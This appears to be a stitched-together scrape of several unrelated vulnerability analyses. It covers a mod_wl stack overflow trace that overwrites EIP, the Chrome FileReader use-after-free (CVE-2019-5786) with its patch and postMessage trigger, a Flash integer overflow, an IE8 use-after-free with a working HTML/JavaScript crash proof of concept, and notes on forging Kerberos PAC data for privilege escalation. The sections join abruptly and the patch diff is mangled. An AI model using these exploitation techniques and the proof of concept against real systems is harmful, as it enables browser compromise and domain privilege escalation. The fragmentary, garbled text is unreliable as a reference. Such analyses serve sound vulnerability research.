0:244> p eax=0000014a ebx=00691c28 ecx=41414141 edx=7c90e4f4 esi=0069cb20 edi=0440fa38 eip=1000edeb esp=0440c7b8 ebp=0440e818 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 mod_wl_20+0xedeb: 1000edeb 81c41c100000 add esp,101Ch 0:244> db esp 0440c7b8 1f 00 00 00 16 00 00 00-00 00 00 00 4a 01 00 00 ............J... 0440c7c8 48 6f 73 74 3a 20 31 39-32 2e 31 36 38 2e 31 2e Host: 192.168.1. 0440c7d8 31 33 30 0d 0a 55 73 65-72 2d 41 67 65 6e 74 3a 130..User-Agent: 0440c7e8 20 4d 6f 7a 69 6c 6c 61-2f 34 2e 30 20 28 63 6f Mozilla/4.0 (co 0440c7f8 6d 70 61 74 69 62 6c 65-3b 20 4d 53 49 45 20 36 mpatible; MSIE 6 0440c808 2e 30 3b 20 57 69 6e 64-6f 77 73 20 4e 54 20 35 .0; Windows NT 5 0440c818 2e 31 29 0d 0a 43 6f 6e-74 65 6e 74 2d 54 79 70 .1)..Content-Typ 0440c828 65 3a 20 61 70 70 6c 69-63 61 74 69 6f 6e 2f 78 e: application/x 0:244> p eax=0000014a ebx=00691c28 ecx=41414141 edx=7c90e4f4 esi=0069cb20 edi=0440fa38 eip=1000edf1 esp=0440d7d4 ebp=0440e818 iopl=0 nv up ei pl nz ac pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216 mod_wl_20+0xedf1: 1000edf1 c3 ret 0:244> db esp 0440d7d4 41 41 41 41 41 41 41 41-01 02 03 04 05 06 07 08 AAAAAAAA........ 0440d7e4 09 0b 0c 0e 0f 10 11 12-13 14 15 16 17 18 19 1a ................ 0440d7f4 1b 1c 1d 1e 1f 20 21 22-23 24 25 26 27 28 29 2a ..... !"#$%&'()* 0440d804 2b 2c 2d 2e 2f 30 31 32-33 34 35 36 37 38 39 3a +,-./0123456789: 0440d814 3b 3c 3d 3e 40 41 42 43-44 45 46 47 48 49 4a 4b ;<=>@ABCDEFGHIJK 0440d824 4c 4d 4e 4f 50 51 52 53-54 55 56 57 58 59 5a 5b LMNOPQRSTUVWXYZ[ 0440d834 5c 5d 5e 5f 60 61 62 63-64 65 66 67 68 69 6a 6b \]^_`abcdefghijk 0440d844 6c 6d 6e 6f 70 71 72 73-74 75 76 77 78 79 7a 7b lmnopqrstuvwxyz{ 0:244> t eax=0000014a ebx=00691c28 ecx=41414141 edx=7c90e4f4 esi=0069cb20 edi=0440fa38 eip=41414141 esp=0440d7d8 ebp=0440e818 iopl=0 nv up ei pl nz ac pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216 41414141 ?? ???
References
Technical Analysis
a/third_party/blink/renderer/core/fileapi/file_reader_loader.cc
+++ b/third_party/blink/renderer/core/fileapi/file_reader_loader.cc
@@ -143,14 +143,16 @@ DOMArrayBuffer* FileReaderLoader::ArrayBufferResult() {
if (!rawdata || errorcode != FileErrorCode::kOK)
return nullptr;
- DOMArrayBuffer* result = DOMArrayBuffer::Create(rawdata–>ToArrayBuffer());
- if (finishedloading) {
- array_bufferresult = result;
- AdjustReportedMemoryUsageToV8(
- -1 * static_cast
<int64_t>
(rawdata–>ByteLength()));
- rawdata.reset();
- if (!finishedloading) {
- return DOMArrayBuffer::Create(
- ArrayBuffer::Create(rawdata–>Data(), rawdata–>ByteLength()));
}
- return result;
+
- array_bufferresult = DOMArrayBuffer::Create(rawdata–>ToArrayBuffer());
- AdjustReportedMemoryUsageToV8(-1 *
- static_cast
<int64_t>
(rawdata–>ByteLength()));
- rawdata.reset();
- return array_bufferresult;
}
String FileReaderLoader::StringResult() {
#### Clue 1: readAsArrayBuffer This patch provides a lot of insight about the user-after-free. The first thing that stands out is the patched method named `FileReaderLoader::ArrayBufferResult`, which clearly indicates the use of `readAsArrayBuffer` in the exploit. #### Clue 2: The finished_loading_ condition A major difference between patched vs unpatched is the `finished_loading_` check, which is a flag that is set when body is finished loading. In the vulnerable version, our method is always doing the following: ```cpp DOMArrayBuffer* result = DOMArrayBuffer::Create(raw_data_->ToArrayBuffer());
In the patched version, it is doing:
if (!finished_loading_) { return DOMArrayBuffer::Create( ArrayBuffer::Create(raw_data_->Data(), raw_data_->ByteLength())); } array_buffer_result_ = DOMArrayBuffer::Create(raw_data_->ToArrayBuffer());
The difference is that if loading isn’t finished, it will make sure to create a new ArrayBuffer
(which increments the reference counter), instead of obtaining ownership of ArrayBuffer
, and passing to MakeGarbageCollected
:
static DOMArrayBuffer* Create(scoped_refptr<WTF::ArrayBuffer> buffer) { return MakeGarbageCollected<DOMArrayBuffer>(std::move(buffer)); }
Note: The ToArrayBuffer
method always return the actual state of the ArrayBuffer asynchronously.
Clue 3: The Arbitrary free
Another clue comes from the comment in the commit, stating:
… multiple references to the same underlying ArrayBuffer.
This is rather hard to get, but Istvan Kurucsai from Exodus Intel found a great way to acheive that with JavaScript’s postMessage
method:
targetWindow.postMessage(message, targetOrigin, [transfer]);
The transfer
parameter is a sequence of Transferable objects that are transferred with the message. The ownership of these objects is given to the desitnation side and they are no longer usable on the sending side.
By doing so, we could pass multiple DOMArrayBuffers
that refere to the same ArrayBuffer to a JS worker through postMessage in a onprogress
event handler, for example:
// last = reader ArrayBuffer result // lastlast = the previous result worker.postMessage([last], [last, lastlast]);
This allows the first transfer to take ownership of its buffer, but the second transfer will fail because the ArrayBuffer
has already been neutered. When this failure happens, this causes the transferred ArrayBuffer
to be freed, while a reference still exists in the second DOMArrayBuffer
.
Proof-of-Concept
Thanks to Istvan from Exodus, the community gets a clean proof-of-concept for testing purposes:
https://github.com/exodusintel/CVE-2019-5786
32-bit Windows 7
One of the reasons memory corruption bugs are much harder to exploit against Chrome is because the use of a custom memory allocator: ParitionAlloc. PartitionAlloc guarantees that different partitions exist in different regions of the process’ address space, it also prevents various scenarios of linear overflows, object allocations, deferences, pointer overwrite, gard pages for large allocations.
It seems one of the limitations with ParitionAlloc is that although it effectively separates our ArrayBuffer from other kinds of allocations, and that it will never reuse those allocations, the scenario only applies if the region that is freed is below 2MiB in size. It is more possible to successfully reclaim the freed region on a 32-bit platform, which explains why a 32-bit Windows 7 is a much more ideal target for Chrome.
Technical Analysis
Details
The decode_buffer_size is calculated this way in Flash:
decode_buffer_size = (encode_data_size – 1) * 6 + 2
In asm:
.text:10024F13 loc_10024F13: ; CODE XREF: sub_10024C79+278j .text:10024F13 mov eax, ebx .text:10024F15 imul eax, 6 .text:10024F18 add eax, 2 .text:10024F1B cmp [esi+28h], eax .text:10024F1E mov [ebp+var_20], eax .text:10024F21 jge short loc_10024F4D
During decoding, the buffer can be reallocated:
int current_buffer_size int decoded_buffer_size if (current_buffer_size < decoded_buffer_size) { // reallocate the decode buffer }
If the encode_data_size is larger than 0x2aaaaaab, it will cause an integer overflow in the
calculation of (encode_data_size –1) * 6 + 2
Patch for CVE-2015-5560
Version 18.0.0.232:
.text:10024E3E mov eax, [ebp+var_14] .text:10024E41 imul eax, 6 .text:10024E44 inc eax .text:10024E45 inc eax .text:10024E46 cmp eax, [ebp+var_14] .text:10024E49 jbe loc_10024FB8
(encode_data_size * 6 + 2) > encode_data_size
Note that it seems this patch can be bypassed, see CVE-2015-8446
Technical Analysis
PoC does not trigger for the following setups:
- Win XP SP3 + IE7
- Win 7 SP1 + IE9
PoC
<!DOCTYPE html> <table> <tr> <div> <span> <q id='e'> <a> <td></td> </a> </q> </span> </div> </tr> </table> <script> window.onload = function(){ var x = document.getElementById('e'); x.outerHTML = ''; } </script> </html>
Current Summary
In IE8 standards mode, it’s possible to cause a use-after-free condition by first creating an
illogical table tree, where a CPhraseElement comes after CTableRow, with the final node being
a sub table element. When the CPhraseElement’s outer content is reset by using either outerText
or outerHTML through an event handler, this triggers a free of its child element (in this case,
a CAnchorElement, but some other objects apply too), but a reference is still kept in function
SRunPointer::SpanQualifier. This function will then pass on the invalid reference to the next
functions, eventually used in mshtml!CElement::Doc when it’s trying to make a call to the object’s
SecurityContext virtual function at offset +0x70, which results a crash. An attacker can take
advantage of this by first creating an CAnchorElement object, let it free, and then replace the
freed memory with another fake object. Successfully doing so may allow arbitrary code execution
under the context of the user.
This bug is specific to Internet Explorer 8 only. It was originally discovered by Orange Tsai at
Hitcon 2013, but was silently patched in the July 2013 update (MS13-055).
DOM Tree
CBodyElement -> CTable -> CTableSection -> CTableRow -> CPhraseElement -> CAnchorElement -> CTableCell
Win XP SP3 + IE8
.text:63717B12 ; public: class ISpanQualifier * __thiscall SRunPointer::SpanQualifier(void)const .text:63717B12 ?SpanQualifier@SRunPointer@@QBEPAVISpanQualifier@@XZ proc near ... text:63717B2D mov eax, [eax+0Ch]
And then this return value is passed on to GetFancyFormat:
.text:6371DBC5 call ?SpanQualifier@SRunPointer@@QBEPAVISpanQualifier@@XZ ; SRunPointer::SpanQualifier(void) .text:6371DBCA call ?GetFancyFormat@ISpanQualifier@@QAEPBVCFancyFormat@@_N@Z ; ISpanQualifier::GetFancyFormat(bool) ...
In GetFancyFormat, that return value is assigned to ESI:
.text:63717F1A mov esi, eax .text:63717F1C call ?IsTreeNodeQualifier@ISpanQualifier@@QBE_NXZ ; ISpanQualifier::IsTreeNodeQualifier(void)
ESI will then get assigned to ECX – “this” in C++:
.text:63717F29 mov ecx, esi .text:63717F2B call ?GetFancyFormat@CTreeNode@@QAEPBVCFancyFormat@@XZ ; CTreeNode::GetFancyFormat(void)
You keep following ECX, eventually that leads to the crash.
0:008> dd ebx L30/4 06a20fb0 06a32f98 00000000 ffff0002 ffffffff 06a20fc0 00000011 00000000 00000000 00000000 06a20fd0 00000000 06a20fd8 00000012 00000000
vftable = 06a32f98
Ref counter = 0
0:008> !heap -p -a ebx address 06a20fb0 found in _DPH_HEAP_ROOT @ 151000 in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize) 653d418: 6a20fb0 4c - 6a20000 2000 ? <Unloaded_pi.dll>+6a32f97 7c918f01 ntdll!RtlAllocateHeap+0x00000e64 636a9a94 mshtml!CHtmRootParseCtx::OverlappedEndElement+0x00000141 636a99d3 mshtml!CHtmRootParseCtx::EndElement+0x000000cb 635a8ee4 mshtml!CHtmTextParseCtx::EndElement+0x0000006e 635a71eb mshtml!CHtmParse::EndElement+0x0000007b 6359f47c mshtml!CHtmParse::CloseContainer+0x000001c5 635bf441 mshtml!CHtmParse::CloseAllContainers+0x00000026 635a941d mshtml!CHtmParse::PrepareContainer+0x0000007f 635a933f mshtml!CHtmParse::ParseBeginTag+0x00000028 635a6bb6 mshtml!CHtmParse::ParseToken+0x00000082 635a7ff4 mshtml!CHtmPost::ProcessTokens+0x00000237 635a734c mshtml!CHtmPost::Exec+0x00000221 635ac2b8 mshtml!CHtmPost::Run+0x00000015 635ac21b mshtml!PostManExecute+0x000001fd 635ac17e mshtml!PostManResume+0x000000f8 635ac0e2 mshtml!CHtmPost::OnDwnChanCallback+0x00000010 0:008> !heap -p -a ecx address 06a32f98 found in _DPH_HEAP_ROOT @ 151000 in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize) 653d6c0: 6a32000 2000 7c927553 ntdll!RtlFreeHeap+0x000000f9 637e06f2 mshtml!CAnchorElement::`vector deleting destructor'+0x00000028 63628a50 mshtml!CBase::SubRelease+0x00000022 63625df6 mshtml!CElement::PrivateExitTree+0x00000011 635c5ef1 mshtml!CMarkup::SpliceTreeInternal+0x00000083 635c84e3 mshtml!CDoc::CutCopyMove+0x000000ca 635c9264 mshtml!CDoc::Remove+0x00000018 635c92e9 mshtml!RemoveWithBreakOnEmpty+0x0000003a 63742f86 mshtml!CElement::InjectInternal+0x0000032a 635c9415 mshtml!CElement::InjectCompatBSTR+0x00000046 638bb56b mshtml!CElement::put_outerText+0x00000025 6366906f mshtml!GS_BSTR+0x000001ab 636430c9 mshtml!CBase::ContextInvokeEx+0x000005d1 6366418a mshtml!CElement::ContextInvokeEx+0x0000009d 6362b6ce mshtml!CInput::VersionedInvokeEx+0x0000002d 63642eec mshtml!PlainInvokeEx+0x000000ea
.text:635C4A2E ; public: static long __stdcall CAnchorElement::CreateElement(class CHtmTag *, class CDoc *, class CElement * *) .text:635C4A2E ?CreateElement@CAnchorElement@@SGJPAVCHtmTag@@PAVCDoc@@PAPAVCElement@@@Z proc near .text:635C4A2E ; DATA XREF: .text:6364B798o .text:635C4A2E .text:635C4A2E arg_4 = dword ptr 0Ch .text:635C4A2E arg_8 = dword ptr 10h .text:635C4A2E .text:635C4A2E ; FUNCTION CHUNK AT .text:638589CC SIZE 0000000A BYTES .text:635C4A2E .text:635C4A2E mov edi, edi .text:635C4A30 push ebp .text:635C4A31 mov ebp, esp .text:635C4A33 push esi .text:635C4A34 push edi .text:635C4A35 push 68h ; dwBytes .text:635C4A37 push 8 ; dwFlags .text:635C4A39 push _g_hProcessHeap ; hHeap .text:635C4A3F xor edi, edi .text:635C4A41 call ds:__imp__HeapAlloc@12 ; HeapAlloc(x,x,x)
0:008> r eax=63aae200 ebx=06a20fb0 ecx=06a32f98 edx=00000000 esi=037cd1e0 edi=00000000 eip=6363fcc4 esp=037cd1b4 ebp=037cd1cc iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 mshtml!CElement::Doc: 6363fcc4 8b01 mov eax,dword ptr [ecx] ds:0023:06a32f98=???????? 0:008> dds 63630788+0x70 L1 636307f8 6363fc94 mshtml!CElement::SecurityContext 0:008> k ChildEBP RetAddr 037cd1b0 63602718 mshtml!CElement::Doc 037cd1cc 636026a3 mshtml!CTreeNode::ComputeFormats+0xb9 037cd478 63612a85 mshtml!CTreeNode::ComputeFormatsHelper+0x44 037cd488 63612a45 mshtml!CTreeNode::GetFancyFormatIndexHelper+0x11 037cd498 63612a2c mshtml!CTreeNode::GetFancyFormatHelper+0xf 037cd4a8 63717f30 mshtml!CTreeNode::GetFancyFormat+0x35 037cd4b4 6371dbcf mshtml!ISpanQualifier::GetFancyFormat+0x5a 037cd4c0 6371db8f mshtml!SRunPointer::IsRelativeSpanEdge+0x3a 037cd4c8 637224a7 mshtml!SRunPointer::IsRelativeSpan+0x14 037cd4e8 63722412 mshtml!CDisplayBoxProperties::GetHasInlineOutlines+0x7d 037cd518 63723ccf mshtml!CDisplayBoxProperties::SetDisplayBoxProperties+0x24d 037cd89c 63723c13 mshtml!CPtsTextParaclient::SetupTextDisplayBox+0x90 037cd924 63723b48 mshtml!CPtsTextParaclient::SetupDisplayBoxForSpan+0x66 037cda10 6370e989 mshtml!CPtsTextParaclient::SetupDisplayBox+0x203 037cdac8 6370e73e mshtml!CPtsBfcBlockParaclient::SetupDisplayBoxForTrack+0x2b7 037cde48 636ccc93 mshtml!CPtsBfcBlockParaclient::SetupDisplayBox+0x349 037cdeec 636cca21 mshtml!CPtsTableContainerParaclient::SetupDisplayBoxForTrack+0x130 037ce408 6370c515 mshtml!CPtsTableContainerParaclient::SetupDisplayBox+0x2ad 037ce888 6370c515 mshtml!CPtsBlockContainerParaclient::SetupDisplayBox+0x4a6 037ced08 6370e989 mshtml!CPtsBlockContainerParaclient::SetupDisplayBox+0x4a6
Win 7 SP0 + IE8
Microsoft (R) Windows Debugger Version 6.11.0001.404 X86 Copyright (c) Microsoft Corporation. All rights reserved. .... 0:012> g .... (c20.274): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=6b105100 ebx=08a7ffb0 ecx=08f0ff98 edx=00000000 esi=043fcf78 edi=00000000 eip=6ad8c400 esp=043fcf4c ebp=043fcf64 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 mshtml!CElement::Doc: 6ad8c400 8b01 mov eax,dword ptr [ecx] ds:0023:08f0ff98=???????? 0:005> u mshtml!CElement::Doc: 6ad8c400 8b01 mov eax,dword ptr [ecx] 6ad8c402 8b5070 mov edx,dword ptr [eax+70h] 6ad8c405 ffd2 call edx 6ad8c407 8b400c mov eax,dword ptr [eax+0Ch] 6ad8c40a c3 ret 6ad8c40b 33c0 xor eax,eax 6ad8c40d e9f7aeffff jmp mshtml!CAttrArray::PrivateFind+0x8f (6ad87309) 6ad8c412 90 nop 0:005> k ChildEBP RetAddr 043fcf48 6adb5961 mshtml!CElement::Doc 043fcf64 6adb586d mshtml!CTreeNode::ComputeFormats+0xba 043fd210 6adba12d mshtml!CTreeNode::ComputeFormatsHelper+0x44 043fd220 6adba0ed mshtml!CTreeNode::GetFancyFormatIndexHelper+0x11 043fd230 6adba0d4 mshtml!CTreeNode::GetFancyFormatHelper+0xf 043fd240 6ac3b9c4 mshtml!CTreeNode::GetFancyFormat+0x35 043fd24c 6acb15b0 mshtml!ISpanQualifier::GetFancyFormat+0x5a 043fd258 6acb156d mshtml!SRunPointer::IsRelativeSpanEdge+0x3a 043fd260 6acb4c92 mshtml!SRunPointer::IsRelativeSpan+0x14 043fd290 6acb4bfd mshtml!CDisplayBoxProperties::GetHasInlineOutlines+0x7d 043fd2c0 6acb532e mshtml!CDisplayBoxProperties::SetDisplayBoxProperties+0x24c 043fd644 6acb5272 mshtml!CPtsTextParaclient::SetupTextDisplayBox+0x90 043fd6d4 6acb51a7 mshtml!CPtsTextParaclient::SetupDisplayBoxForSpan+0x66 043fd7c0 6ac9e4a9 mshtml!CPtsTextParaclient::SetupDisplayBox+0x203 043fd878 6ac9e271 mshtml!CPtsBfcBlockParaclient::SetupDisplayBoxForTrack+0x2b7 043fdbf8 6ac57a79 mshtml!CPtsBfcBlockParaclient::SetupDisplayBox+0x352 043fdc9c 6ac57834 mshtml!CPtsTableContainerParaclient::SetupDisplayBoxForTrack+0x133 043fe1b8 6ac9d919 mshtml!CPtsTableContainerParaclient::SetupDisplayBox+0x2ad 043fe638 6ac9d919 mshtml!CPtsBlockContainerParaclient::SetupDisplayBox+0x4a9 043feab8 6ac9e4a9 mshtml!CPtsBlockContainerParaclient::SetupDisplayBox+0x4a9 0:005> !heap -p -a ebx address 08a7ffb0 found in _DPH_HEAP_ROOT @ 51000 in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize) 83d3e04: 8a7ffb0 4c - 8a7f000 2000 6d4f8e89 verifier!AVrfDebugPageHeapAllocate+0x00000229 77594ea6 ntdll!RtlDebugAllocateHeap+0x00000030 77557d96 ntdll!RtlpAllocateHeap+0x000000c4 775234ca ntdll!RtlAllocateHeap+0x0000023a 6ac2565b mshtml!CHtmRootParseCtx::OverlappedEndElement+0x00000141 6ac2557e mshtml!CHtmRootParseCtx::EndElement+0x000000cb 6ad17870 mshtml!CHtmTextParseCtx::EndElement+0x0000006e 6ad170b8 mshtml!CHtmParse::EndElement+0x0000007b 6ad2a4de mshtml!CHtmParse::CloseContainer+0x000001c1 6ad292d3 mshtml!CHtmParse::CloseAllContainers+0x00000026 6ad18864 mshtml!CHtmParse::PrepareContainer+0x0000007f 6ad18907 mshtml!CHtmParse::ParseBeginTag+0x00000028 6ad16e93 mshtml!CHtmParse::ParseToken+0x00000082 6ad175c9 mshtml!CHtmPost::ProcessTokens+0x00000237 6ad078e8 mshtml!CHtmPost::Exec+0x00000221 6ad08a99 mshtml!CHtmPost::Run+0x00000015 6ad089fd mshtml!PostManExecute+0x000001fb 6ad07c66 mshtml!PostManResume+0x000000f7 6ad213f6 mshtml!CHtmPost::OnDwnChanCallback+0x00000010 6ad053fc mshtml!CDwnChan::OnMethodCall+0x00000019 6ada94b2 mshtml!GlobalWndOnMethodCall+0x000000ff 6ad937f7 mshtml!GlobalWndProc+0x0000010c 75bc86ef USER32!InternalCallWinProc+0x00000023 75bc8876 USER32!UserCallWinProcCheckWow+0x0000014b 75bc89b5 USER32!DispatchMessageWorker+0x0000035e 75bc8e9c USER32!DispatchMessageW+0x0000000f 6d8004a6 IEFRAME!CTabWindow::_TabWindowThreadProc+0x00000452 6d810446 IEFRAME!LCIETab_ThreadProc+0x000002c1 763849bd iertutil!CIsoScope::RegisterThread+0x000000ab 75f71174 kernel32!BaseThreadInitThunk+0x0000000e 7752b3f5 ntdll!__RtlUserThreadStart+0x00000070 7752b3c8 ntdll!_RtlUserThreadStart+0x0000001b 0:005> !heap -p -a ecx address 08f0ff98 found in _DPH_HEAP_ROOT @ 51000 in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize) 8f50138: 8f0f000 2000 6d4f90b2 verifier!AVrfDebugPageHeapFree+0x000000c2 77595674 ntdll!RtlDebugFreeHeap+0x0000002f 77557aca ntdll!RtlpFreeHeap+0x0000005d 77522d68 ntdll!RtlFreeHeap+0x00000142 75f6f1ac kernel32!HeapFree+0x00000014 6adf8c42 mshtml!CAnchorElement::`vector deleting destructor'+0x00000028 6ad97dd0 mshtml!CBase::SubRelease+0x00000022 6adf0fdf mshtml!CElement::PrivateExitTree+0x00000011 6acd5b42 mshtml!CMarkup::SpliceTreeInternal+0x00000083 6acd6ff9 mshtml!CDoc::CutCopyMove+0x000000ca 6acd6f39 mshtml!CDoc::Remove+0x00000018 6acd6f17 mshtml!RemoveWithBreakOnEmpty+0x0000003a 6ac0288a mshtml!CElement::InjectInternal+0x0000032a 6acd704a mshtml!CElement::InjectCompatBSTR+0x00000046 6af1aee9 mshtml!CElement::put_outerText+0x00000025 6ae172d6 mshtml!GS_BSTR+0x000001ac 6ae0235c mshtml!CBase::ContextInvokeEx+0x000005dc 6ae0c75a mshtml!CElement::ContextInvokeEx+0x0000009d 6ae0c79a mshtml!CInput::VersionedInvokeEx+0x0000002d 6adb3104 mshtml!PlainInvokeEx+0x000000eb 6cdea22a jscript!IDispatchExInvokeEx2+0x00000104 6cdea175 jscript!IDispatchExInvokeEx+0x0000006a 6cdea3f6 jscript!InvokeDispatchEx+0x00000098 6cdea4a0 jscript!VAR::InvokeByName+0x00000139 6cdfd8c8 jscript!VAR::InvokeDispName+0x0000007d 6cde9c0e jscript!CScriptRuntime::Run+0x0000208d 6cdf5c9d jscript!ScrFncObj::CallWithFrameOnStack+0x000000ce 6cdf5bfb jscript!ScrFncObj::Call+0x0000008d 6cdf5e11 jscript!CSession::Execute+0x0000015f 6cdef3ee jscript!NameTbl::InvokeDef+0x000001b5 6cdeea2e jscript!NameTbl::InvokeEx+0x0000012c 6ae27af1 mshtml!CBase::InvokeDispatchWithThis+0x000001e1
Technical Analysis
Troubleshooting kerberos on windows
- http://blogs.technet.com/b/askds/archive/2008/05/14/troubleshooting-kerberos-authentication-problems-name-resolution-issues.aspx
- http://technet.microsoft.com/en-us/library/cc738673(WS.10).aspx
- http://www.itninja.com/blog/view/taming-the-three-headed-beast-kerberos
Golden and silver ticket
- http://rycon.hu/papers/goldenticket.html
- https://www.youtube.com/watch?v=-IMrNGPZTl0 (blackhat)
- http://www.slideshare.net/gentilkiwi/bluehat-2014realitybites
- http://www.nosuchcon.org/talks/2014/D2_02_Benjamin_Delpy_Mimikatz.pdf
- http://blog.gentilkiwi.com/downloads/mimikatz-rmll.pdf
- http://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos
- http://blog.gentilkiwi.com/securite/mimikatz/golden-ticket-kerberos (ticket format)
- https://github.com/gentilkiwi/mimikatz/wiki/module-~-kerberos
About PAC:
MS-PAC: Privilege Attribute Certificate Data Structure
http://msdn.microsoft.com/en-us/library/cc237917.aspx
Microsoft Authorization Data Specification
http://mirror.die.net/banned/microsoft-kerberos-extensions.html
Authentication structures:
http://msdn.microsoft.com/en-us/library/windows/desktop/aa378120(v=vs.85).aspx
More Kerberos fun with PAC’s- decrypt the PAC
http://i1.blogs.msdn.com/b/spatdsg/archive/2009/03/26/more-kerberos-fun-with-pac-s.aspx
Kerberos PAC Validation… what is it?
http://blogs.msdn.com/b/spatdsg/archive/2007/03/07/pac-validation.aspx
Kerberos on windows
https://www.blackhat.com/presentations/bh-europe-09/Bouillon/BlackHat-Europe-09-Bouillon-Taming-the-Beast-Kerberous-whitepaper.pdf
http://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos
Notes
- Windows 2003: Security Event ids related to kerberos 540 (logon) / 538 (logoff)
- I’m pretty sure the information to forge exists inside service kerberos ticket
- On my opinion the idea is to forge the KERB_VALIDATION_INFO. It contains:
ULONG GroupCount; [size_is(GroupCount)] PGROUP_MEMBERSHIP GroupIds;
Where:
typedef struct _GROUP_MEMBERSHIP { ULONG RelativeId; ULONG Attributes; } *PGROUP_MEMBERSHIP;
By modifying the RelativeId in the service ticket, I think is the way related
to the privilege escalation (See ticket_samples.txt for KERB_VALIDATION_INFO dump)
But… how to tamper that information? Since the kerberos communication (server
running on 88/udp) happens through lsass (running as system), tampering communications
doesn’t look a good idea. Even worse, the KERB_VALIDATION_INFO is located inside the
ticket, which travels encrypted. I NEED TO CHECK, CAREFULLY WHERE THE PAC IS ADDED,
HOPEFULLY, IT’S IN A BLOG CIPHERED WITH THE USER PRIVATE KEY. CANNOR REMIND JUST NOW, TODO!
Just remembering cached tickets maybe can be tampered TODO:review
Breakpoints:
bp kdcsvc!I_GetAsTicket ".echo I_GetAsTicket; g"
Reachecd through _KdcGetTicket (also an export)
bp kdcsvc!KdcVerifyPacSignature ".echo KdcVerifyPacSignature; g"
This one is reached from when handling TGT Requests, aparently
HandleTGSRequest –> GetTGSTicket…
bp kdcsvc!KdcVerifyPac ".echo KdcVerifyPac; g"
It’s an export, also reached through “CredentialUpdateFree”
When I authenticate to a service, IIS, through Kerberos, it’s the call sequence:
I_GetAsTicket KdcVerifyPacSignature KdcVerifyPacSignature I_GetAsTicket KdcVerifyPacSignature
Okay, come on to check, what happens when I add the kerberos function:
kd> bp kerberos!KerbVerifyPacsignature ".echo kerberos!KerbVerifyPacsignature; g" kd> g I_GetAsTicket KdcVerifyPacSignature kerberos!KerbVerifyPacsignature I_GetAsTicket KdcVerifyPacSignature kerberos!KerbVerifyPacsignature
Makes sense! Come on to check some call stacks to check where things come from:
kd> bl 0 e 63a8b814 0001 (0001) KDCSVC!I_GetASTicket ".echo I_GetAsTicket; kb 4; g" 1 e 63a89013 0001 (0001) KDCSVC!KdcVerifyPacSignature ".echo KdcVerifyPacSignature; kb 4; g" 2 e 63a8d3ad 0001 (0001) KDCSVC!KdcVerifyPac ".echo KdcVerifyPac; kb 4; g" 3 e 71ca8587 0001 (0001) kerberos!KerbVerifyPacSignature ".echo kerberos!KerbVerifyPacsignature; kb 4; g"
_GetAsTicket
ChildEBP RetAddr Args to Child 04e4fe38 63a8b80a 050ae688 001583e8 04e4feb0 KDCSVC!I_GetASTicket 04e4fed8 63a87305 00000000 050ae688 001149a8 KDCSVC!KdcGetTicket+0x1b5 04e4ff38 71fd1700 0015b9e0 00000137 00000000 KDCSVC!KdcAtqDgIoCompletion+0x129 04e4ff58 71fd1858 00000137 00000000 0015b9e4 NTDSATQ!ATQ_CONTEXT::IOCompletion+0x31
KdcVerifyPacSignature
ChildEBP RetAddr Args to Child 04e4f740 63a89f6f 00145238 04e4f91c 00000250 KDCSVC!KdcVerifyPacSignature 04e4f770 63a89543 00145238 000ec8f0 04e4f91c KDCSVC!KdcVerifyAndResignPac+0xb3 04e4f83c 63a87125 04e4f880 04e4fe74 00000000 KDCSVC!KdcInsertAuthorizationData+0x1d6 04e4f99c 63a85055 000ec8f0 04e4fea0 04e4fe98 KDCSVC!I_GetTGSTicket+0x729 kerberos!KerbVerifyPacsignature ChildEBP RetAddr Args to Child 00aef7b8 71cb1ef3 00aefa70 0013d8f0 00000250 kerberos!KerbVerifyPacSignature 00aef8fc 71cb1159 00000001 00aefab0 0017c1e8 kerberos!KerbCreateTokenFromTicket+0x1de 00aefaec 4ab860d2 0016cce0 00000000 3c9b6229 kerberos!SpAcceptLsaModeContext+0xb09 00aefb60 4abc94a8 00aefc18 00aefbf8 00aefbe0 LSASRV!WLsaAcceptContext+0x139
I_GetAsTicket
ChildEBP RetAddr Args to Child 04e4fe38 63a8b80a 050b73b8 001583e8 04e4feb0 KDCSVC!I_GetASTicket 04e4fed8 63a87305 00000000 050b73b8 001149a8 KDCSVC!KdcGetTicket+0x1b5 04e4ff38 71fd1700 0015bc10 00000137 00000000 KDCSVC!KdcAtqDgIoCompletion+0x129 04e4ff58 71fd1858 00000137 00000000 0015bc14 NTDSATQ!ATQ_CONTEXT::IOCompletion+0x31
KdcVerifyPacSignature
ChildEBP RetAddr Args to Child 04e4f740 63a89f6f 00145418 04e4f91c 00000250 KDCSVC!KdcVerifyPacSignature 04e4f770 63a89543 00145418 000ec8f0 04e4f91c KDCSVC!KdcVerifyAndResignPac+0xb3 04e4f83c 63a87125 04e4f880 04e4fe74 00000000 KDCSVC!KdcInsertAuthorizationData+0x1d6 04e4f99c 63a85055 000ec8f0 04e4fea0 04e4fe98 KDCSVC!I_GetTGSTicket+0x729 kerberos!KerbVerifyPacsignature ChildEBP RetAddr Args to Child 00c6f7b8 71cb1ef3 00c6fa70 0013d8f0 00000250 kerberos!KerbVerifyPacSignature 00c6f8fc 71cb1159 00000001 00c6fab0 0017c190 kerberos!KerbCreateTokenFromTicket+0x1de 00c6faec 4ab860d2 0016cce0 00000000 3f4a60da kerberos!SpAcceptLsaModeContext+0xb09 00c6fb60 4abc94a8 00c6fc18 00c6fbf8 00c6fbe0 LSASRV!WLsaAcceptContext+0x139
So, obviously I_GetAsTicket is called through the first query (AS), KdcVerifyPacSignature and
kerberos!KerbVerifyPacsignature is called on the second request (TGT). Looks like the PAC is
parsed/verified in the second query (TGT, makes sense).
[*] Other backtraces for my review while logging in the domain from XP SP3 client
